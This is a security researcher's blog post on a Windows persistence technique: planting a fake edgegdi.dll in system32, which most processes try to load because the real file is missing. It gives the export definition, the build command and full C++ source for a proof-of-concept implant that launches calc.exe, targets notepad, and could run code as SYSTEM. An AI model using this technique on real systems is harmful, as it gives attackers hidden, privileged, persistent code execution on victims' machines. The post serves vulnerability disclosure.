Overview
There’s a .dll which just about every process on my Windows machine is interested in called edgegdi.dll
.
Unfortunately, the dll: edgegdi.dll
isn’t there (or anywhere on the system).
You’ll see the status (NAME NOT FOUND
) in any procmon trace you look at which makes it interesting for persistence at the very least.
It’s also intriguing because it appears as though we’d have our pick of processes, many running as SYSTEM
to load our own version of edgegdi!CheckIsEdgeGdiProcessOnce
in given the procmon.exe output above.
I’ll admit that when i stumbled across this I thought for a moment that I’d found something useful but a quick search of twitter revealed that as usual i was very late to the party:
- @decoder_it spotted it quite a while back
- The good folk at the windows-internals.com blog wrote a little about it here
- @matteomalvica was kind enough to share some IDA output to shed some light on the usage
In any case, I’m surprised it hasn’t been buttoned up by the Redmond crew. This post captures my notes exploring the issue with the hope that it might help support the effort to get it resolved in the near future.
Whats the big deal?
This oversight allows an adversary to drop their own .dll in the c:\windows\system32
directory called edgegdi.dll
.
The adversary .dll just needs to export the function CheckIsEdgeGdiProcessOnce
.
The developer can implement whatever they like in dllmain or the exported function CheckIsEdgeGdiProcessOnce
.
but!.. if they can do that they are an admin and could do pretty much whatever they like anyway
That’s true.
The reason this sucks a little more than that is the stealthy persistence we get with a dll we know all the processes are keen to load, yet don’t care if it’s not there.
It’s unlikely to cause any fuss right away if we take the initiative and implement this dll for Microsoft.
It also seems like it could become a sneaky back-door to an existing installer package. If an adversary group is able to add their version of edgegdi.dll
to an otherwise safe installer package I don’t think many individuals (or desktop engineering teams) would look twice. It’s not going to stand out. From an end user perspective they’ve already consented to the install and blindly acknowledged the dialog letting them know that the process is bumping up it’s privilege level to get the install done. I think it’s fair to assume that most people don’t keep tabs on all the binaries added to their system during the installation of a package.
A good friend also pointed out that this could be a little horrible if your password manager is pulling in this .dll and executing code of an adversary’s choosing.
Example Implementation
First, we need a .def file. Lets call it edgegdi.def
:
LIBRARY "EdgeGDI"
EXPORTS
CheckIsEdgeGdiProcessOnce
Then, we build a edgegdi.cpp
:
#include <Windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
STARTUPINFO info={sizeof(info)};
PROCESS_INFORMATION processInfo;
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
CreateProcess(
"c:\\windows\\system32\\calc.exe",
"", NULL, NULL, TRUE, 0, NULL, NULL,
&info, &processInfo);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
extern "C" {
__declspec(dllexport) BOOL WINAPI CheckIsEdgeGdiProcessOnce() {
return TRUE;
}
}
We’ll simply pop calc.exe
in this example via CreateProcess
in the mandatory DllMain
.
For the CheckIsEdgeGdiProcessOnce
function, we’ll attempt to just return TRUE
.
We compile with:
cl.exe /W0 /D_USRDLL /D_WINDLL edgegdi.cpp edgegdi.def /MT /link /DLL /OUT:edgegdi.dll
(i save my compile commands in a batch file on advice from the clever buggers at SEKTOR7. Also cl.exe
is part of Visual Studio community if you need it.)
Now, we attempt to place the new .dll in c:\windows\system32
:
And… Bluescreen!.. then repair mode.
Ooof! That was careless.
“Fixing”:
Anyway, as i mentioned earlier, thankfully @matteomalvica had already done the work to make it possible to write our function with the same prototype as the ‘real’ missing one:
ref: https://twitter.com/matteomalvica/status/1252533215232954373
Implementing the CheckIsEdgeGdiProcessOnce
function with the three params the caller is expecting it to support:
#include <Windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
STARTUPINFO info={sizeof(info)};
PROCESS_INFORMATION processInfo;
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
CreateProcess(
"c:\\windows\\system32\\calc.exe",
"", NULL, NULL, TRUE, 0, NULL, NULL,
&info, &processInfo);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
extern "C" {
__declspec(dllexport) BOOL WINAPI CheckIsEdgeGdiProcessOnce(
PINIT_ONCE InitOnce,
PVOID Parameter,
PVOID *Context) {
return TRUE;
}
}
And, that should do it.
Once compiled and placed in the c:\windows\system32
directory our .dll is called by just about everything when started.
But here’s the rub…
Our new .dll which simply calls calc.exe is going to be called by everything.
Using notepad.exe as an example: I open notepad, it calls edgegdi.cpp!CheckIsEdgeGdiProcessOnce
which then launches calc.exe
, but calc.exe
is also going to load edgegdi.dll
and call calc.exe
which is also going to call calc.exe
… and so on.
We’ve achieved the objective somewhat… it’s just a little horrible.
To complete the POC in a more stable (but no more elegant) way we’ll just filter to see if the process calling the .dll is notepad.exe
.
We’re saying, “If it’s notepad, do the horrible thing, if it’s not please move along and enjoy the rest of your day”.
Something like this:
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
STARTUPINFO info={sizeof(info)};
PROCESS_INFORMATION processInfo;
int this_pid = _getpid();
int notepad_pid = 0;
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
notepad_pid = FindTarget("notepad.exe");
if (notepad_pid)
{
if (notepad_pid == this_pid)
{
CreateProcess(
"c:\\windows\\system32\\calc.exe",
"", NULL, NULL, TRUE, 0, NULL, NULL,
&info, &processInfo);
}
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Leveraging a FindTarget
function (for notepad):
int FindTarget(const char *procname) {
HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;
hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}
while (Process32Next(hProcSnap, &pe32)) {
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}
CloseHandle(hProcSnap);
return pid;
}
With that in place:
It works as expected. Every time notepad is called, our implant dll (edgegdi.dll
) is loaded into the process.
Wrapping Up
Final notes on this thing:
Most processes on Windows are calling CheckIsEdgeGdiProcessOnce
from edgegdi.dll
.
CheckIsEdgeGdiProcessOnce
can be leveraged with the parameters:
CheckIsEdgeGdiProcessOnce(
PINIT_ONCE InitOnce,
PVOID Parameter,
PVOID *Context)
edgegdi.dll
doesn’t exist on current versions of Windows (2004, 19041.508) making it potentially attractive as a persistence approach.
This is a harmless example with with a calc.exe payload but it’s important to note that many of the processes loading this module will be SYSTEM level and we could have executed something much more interesting.
Windows wont tolerate the implementation as described here over a reboot, it’ll blue screen. No intention to talk about “fixing” that in this post.